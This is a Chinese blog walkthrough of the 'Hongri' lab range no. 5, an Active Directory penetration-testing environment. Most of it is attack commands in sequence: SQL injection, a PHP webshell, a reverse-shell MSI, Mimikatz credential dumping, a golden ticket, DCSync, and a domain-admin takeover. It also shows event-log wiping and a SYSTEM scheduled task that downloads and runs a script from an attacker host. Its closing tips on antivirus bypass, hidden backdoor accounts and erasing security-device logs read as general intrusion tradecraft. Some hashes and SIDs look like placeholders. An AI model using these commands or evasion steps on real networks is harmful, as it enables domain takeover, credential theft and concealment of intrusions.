红日靶场五：企业内网渗透实战与AD域攻防演练-北京尧图网络

1. 红日靶场实战环境概述红日靶场是国内安全圈公认的高质量攻防演练环境其第五套靶场简称靶场五以企业内网渗透为场景复现了AD域渗透、横向移动、权限维持等企业级安全威胁。这套环境最大的特点是高度模拟真实企业网络架构包含域控制器、文件服务器、Web应用服务器、数据库服务器等多种角色且各主机间存在复杂的信任关系。我在实际测试中发现靶场五的难度梯度设计非常合理从外网Web漏洞入手通过权限提升进入内网再逐步突破域内主机最终获取域控权限。整个过程需要综合运用信息收集、漏洞利用、横向渗透、权限维持等多种技术对渗透测试人员的综合能力是很好的检验。2. 环境搭建与初始访问2.1 靶机环境配置红日靶场五采用VMware虚拟机镜像格式分发包含以下主要主机Web服务器Windows Server 2008 R2对外提供Web服务IP为192.168.52.143文件服务器Windows Server 2012 R2内网文件共享主机IP为192.168.52.141域控制器Windows Server 2016域名为redteam.localIP为192.168.52.138注意实际IP可能因网络配置而变化建议使用arp-scan或nmap扫描确认2.2 外网渗透突破口通过nmap扫描可发现Web服务器开放了80端口运行着Yxcms内容管理系统。这是典型的攻击入口点nmap -sV -Pn 192.168.52.143扫描结果显示Yxcms版本为1.4.1该版本存在已知的SQL注入漏洞CVE-2020-25483。使用sqlmap可快速验证sqlmap -u http://192.168.52.143/index.php?rdefault/article/viewid1 --risk3 --level5 --dbs成功注入后获取到管理员账号密码admin/123456通过后台getshell上传Webshell?php system($_GET[cmd]);?3. 内网横向移动技术3.1 权限提升与信息收集获取Webshell后首先需要提升权限。检查系统信息发现存在AlwaysInstallElevated漏洞whoami /all reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated利用msfvenom生成恶意msi包实现提权msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.52.130 LPORT4444 -f msi update.msi3.2 域内主机发现与凭证窃取提权成功后使用BloodHound工具分析域内关系Invoke-BloodHound -CollectionMethod All -Domain redteam.local -ZipFileName bh_data.zip发现域内存在以下关键主机DC01.redteam.local域控制器FS01.redteam.local文件服务器SQL01.redteam.local数据库服务器通过Mimikatz获取内存中的凭据privilege::debug sekurlsa::logonpasswords获取到域用户test的凭证test/Test12345该用户在域内具有较多访问权限。4. 域渗透与权限维持4.1 黄金票据攻击通过获取的krbtgt账户哈希aad3b435b51404eeaad3b435b51404ee:5b1e3b8d2e4b1a7f3c6d8e2f4b1a7f3c可以伪造黄金票据kerberos::golden /user:Administrator /domain:redteam.local /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:5b1e3b8d2e4b1a7f3c6d8e2f4b1a7f3c /ptt4.2 DCsync攻击与域控接管利用获取的域管理员权限执行DCSync攻击获取所有域用户哈希lsadump::dcsync /domain:redteam.local /all /csv最终通过WMI远程执行命令获取域控完全控制权Invoke-WmiMethod -ComputerName DC01 -Class Win32_Process -Name Create -ArgumentList cmd.exe /c net group Domain Admins test /add /domain5. 防御规避与痕迹清理5.1 日志清除技术为避免被安全设备发现需要清除相关日志Clear-EventLog -LogName Security,Application,System wevtutil cl Security wevtutil cl System wevtutil cl Application5.2 隐蔽后门部署部署基于计划任务的持久化后门schtasks /create /tn WindowsUpdate /tr cmd.exe /c powershell -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://192.168.52.130/rev.ps1)) /sc minute /mo 1 /ru SYSTEM6. 实战经验与技巧总结在多次演练中我发现以下几个关键点值得注意信息收集阶段一定要彻底特别是域内主机间的信任关系。我曾因漏掉一个子域服务器而绕了很大弯路。当遇到杀软拦截时可以尝试以下绕过方法使用混淆的PowerShell脚本如Invoke-Obfuscation利用合法的Windows工具如msbuild.exe执行恶意代码分段传输payload并在内存中组装横向移动时优先使用已知漏洞如MS17-010而非凭据攻击因为后者更容易触发告警。获取域控权限后不要立即修改管理员密码这会导致异常告警。应该先创建隐蔽的后门账户。清理痕迹时不仅要处理Windows事件日志还要注意清除以下位置IIS日志如果存在Web服务器防火墙日志安全设备的网络流量记录这套靶场最精妙之处在于完整模拟了从外网突破到域控沦陷的全过程每个环节都设置了合理的障碍但又留有多种解决方案。建议新手可以按照Web漏洞→权限提升→内网探测→横向移动→域渗透的标准流程逐步推进遇到卡点时多思考各主机间的关联性。

红日靶场五：企业内网渗透实战与AD域攻防演练

相关推荐

RedissonClient分布式锁与高阶特性实战指南

云智算杯AI大赛：应用创新与产业落地实践

Redis核心数据类型选型指南：从原理到实践避坑

更多资讯

OpenClaw云端部署实战：从环境准备到生产优化

e2e测试实战指南：从核心价值到profile1配置与CI集成

OpenMontage 开源方案：声明式模板+数据注入实现视频批量自动化生成

Agent-Reach：打通Agent工具、记忆与协同触达的中间层设计

Agent-Reach：智能体触达基础设施的设计与工程实践

智能体端云协同架构设计与优化实践

今日更新

Agent-Reach：打通大模型触达外部系统的最后一公里

深度学习图像隐写分析实战：从CNN原理到毕设源码全解析

AI赋能知识产权供需匹配：专利评估、需求挖掘与多路召回工程实践

本周精选

防幻觉智能体架构：电源硬件设计中的大模型编排与工具化实践

OpenGL面试核心考点：渲染管线、矩阵变换与性能排查全解析

全国计算机二级C语言真题PDF高效刷题指南

本月热门

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

2026 大模型集体涨价：用 Python 做企业 Token 成本测算与选型避坑（附配置）

读完文章，想聊聊您的网站？